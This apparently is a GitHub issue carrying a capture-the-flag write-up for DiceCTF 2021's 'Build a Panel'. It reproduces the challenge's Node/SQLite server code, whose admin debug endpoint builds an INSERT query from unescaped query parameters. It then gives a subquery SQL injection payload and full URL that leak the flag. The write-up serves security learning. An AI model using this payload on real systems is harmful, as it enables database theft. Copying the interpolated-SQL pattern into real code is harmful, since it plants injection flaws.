You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
It's a service for creating and viewing "panel" and "widget":
To be honest, when I was working on this chall, I didn't even check what type of widget we can create.
Because the first thing is always the same: check the source code if available:
/* * @DICECTF 2021 * @AUTHOR Jim */constadmin_key='REDACTED';// NOTE: The keys are not literally 'REDACTED', I've just taken them away from you :)constsecret_token='REDACTED';constexpress=require('express');constbodyParser=require("body-parser");constcookieParser=require("cookie-parser");constsqlite3=require('sqlite3');const{v4: uuidv4}=require('uuid');constapp=express();constdb=newsqlite3.Database('./db/widgets.db',(err)=>{if(err){returnconsole.log(err.message);}else{console.log('Connected to sql database');}});letquery=`CREATE TABLE IF NOT EXISTS widgets ( id INTEGER PRIMARY KEY AUTOINCREMENT, panelid TEXT, widgetname TEXT, widgetdata TEXT);`;db.run(query);query=`CREATE TABLE IF NOT EXISTS flag ( flag TEXT)`;db.run(query,[],(err)=>{if(!err){letinnerQuery=`INSERT INTO flag SELECT 'dice{fake_flag}'`;db.run(innerQuery);}else{console.error('Could not create flag table');}});app.use(express.static(__dirname+'/public'));app.use(bodyParser.json());app.use(cookieParser());app.use(function(_req,res,next){res.setHeader("Content-Security-Policy","default-src 'none'; script-src 'self' http://cdn.embedly.com/; style-src 'self' http://cdn.embedly.com/; connect-src 'self' https://www.reddit.com/comments/;");res.setHeader("X-Frame-Options","DENY");returnnext();});app.set('view engine','ejs');app.get('/',(_req,res)=>{res.render('pages/index');});app.get('/create',(req,res)=>{constcookies=req.cookies;constqueryParams=req.query;if(!cookies['panelId']){constnewPanelId=queryParams['debugid']||uuidv4();res.cookie('panelId',newPanelId,{maxage: 10800,httponly: true,sameSite: 'lax'});}res.redirect('/panel/');});app.get('/panel/',(req,res)=>{constcookies=req.cookies;if(cookies['panelId']){res.render('pages/panel');}else{res.redirect('/');}});app.post('/panel/widgets',(req,res)=>{constcookies=req.cookies;if(cookies['panelId']){constpanelId=cookies['panelId'];query=`SELECT widgetname, widgetdata FROM widgets WHERE panelid = ?`;db.all(query,[panelId],(err,rows)=>{if(!err){letpanelWidgets={};for(letrowofrows){try{panelWidgets[row['widgetname']]=JSON.parse(row['widgetdata']);}catch{}}res.json(panelWidgets);}else{res.send('something went wrong');}});}});app.get('/panel/edit',(_req,res)=>{res.render('pages/edit');});app.post('/panel/add',(req,res)=>{constcookies=req.cookies;constbody=req.body;if(cookies['panelId']&&body['widgetName']&&body['widgetData']){query=`INSERT INTO widgets (panelid, widgetname, widgetdata) VALUES (?, ?, ?)`;db.run(query,[cookies['panelId'],body['widgetName'],body['widgetData']],(err)=>{if(err){res.send('something went wrong');}else{res.send('success!');}});}else{console.log(cookies);console.log(body);res.send('something went wrong');}});constavailableWidgets=['time','weather','welcome'];app.get('/status/:widgetName',(req,res)=>{constwidgetName=req.params.widgetName;if(availableWidgets.includes(widgetName)){if(widgetName=='time'){res.json({'data': 'now :)'});}elseif(widgetName=='weather'){res.json({'data': 'as you can see widgets are not fully functional just yet'});}elseif(widgetName=='welcome'){res.json({'data': 'No additional data here but feel free to add other widgets!'});}}else{res.json({'data': 'error! widget was not found'});}});// This function is for admin bot setupapp.get('/admin/generate/:secret_token',(req,res)=>{if(req.params['secret_token']==admin_key){res.cookie('token',secret_token,{maxage: 10800,httponly: true,sameSite: 'lax'});}res.redirect('/');});app.get('/admin/debug/add_widget',async(req,res)=>{constcookies=req.cookies;constqueryParams=req.query;if(cookies['token']&&cookies['token']==secret_token){query=`INSERT INTO widgets (panelid, widgetname, widgetdata) VALUES ('${queryParams['panelid']}', '${queryParams['widgetname']}', '${queryParams['widgetdata']}');`;db.run(query,(err)=>{if(err){console.log(err);res.send('something went wrong');}else{res.send('success!');}});}else{res.redirect('/');}});app.listen(31337,()=>{console.log('express listening on 31337')});
The source code is quite long compare to other challs. But if you look carefully, you will find that only these two snippets are important:
query=`CREATE TABLE IF NOT EXISTS flag ( flag TEXT)`;db.run(query,[],(err)=>{if(!err){letinnerQuery=`INSERT INTO flag SELECT 'dice{fake_flag}'`;db.run(innerQuery);}else{console.error('Could not create flag table');}});app.get('/admin/debug/add_widget',async(req,res)=>{constcookies=req.cookies;constqueryParams=req.query;if(cookies['token']&&cookies['token']==secret_token){query=`INSERT INTO widgets (panelid, widgetname, widgetdata) VALUES ('${queryParams['panelid']}', '${queryParams['widgetname']}', '${queryParams['widgetdata']}');`;db.run(query,(err)=>{if(err){console.log(err);res.send('something went wrong');}else{res.send('success!');}});}else{res.redirect('/');}});
We know two things from above:
flag is in database
/admin/debug/add_widget is vulnerable to sql injection
sub query is your good friend in this case, we can let our title become the flag:
uuid', (select flag from flag limit 1), '1');--
Full url: https://build-a-panel.dicec.tf/admin/debug/add_widget?panelid=1b3f6724-8a5f-4cad-b127-2a13e7847752', (select flag from flag limit 1), '1');--&widgetname=1&widgetdata=1
So we can create an widget with title as flag:
The text was updated successfully, but these errors were encountered:
It's a service for creating and viewing "panel" and "widget":
To be honest, when I was working on this chall, I didn't even check what type of widget we can create.
Because the first thing is always the same: check the source code if available:
The source code is quite long compare to other challs. But if you look carefully, you will find that only these two snippets are important:
We know two things from above:
sub query is your good friend in this case, we can let our title become the flag:
Full url:
https://build-a-panel.dicec.tf/admin/debug/add_widget?panelid=1b3f6724-8a5f-4cad-b127-2a13e7847752', (select flag from flag limit 1), '1');--&widgetname=1&widgetdata=1
So we can create an widget with title as flag:
The text was updated successfully, but these errors were encountered: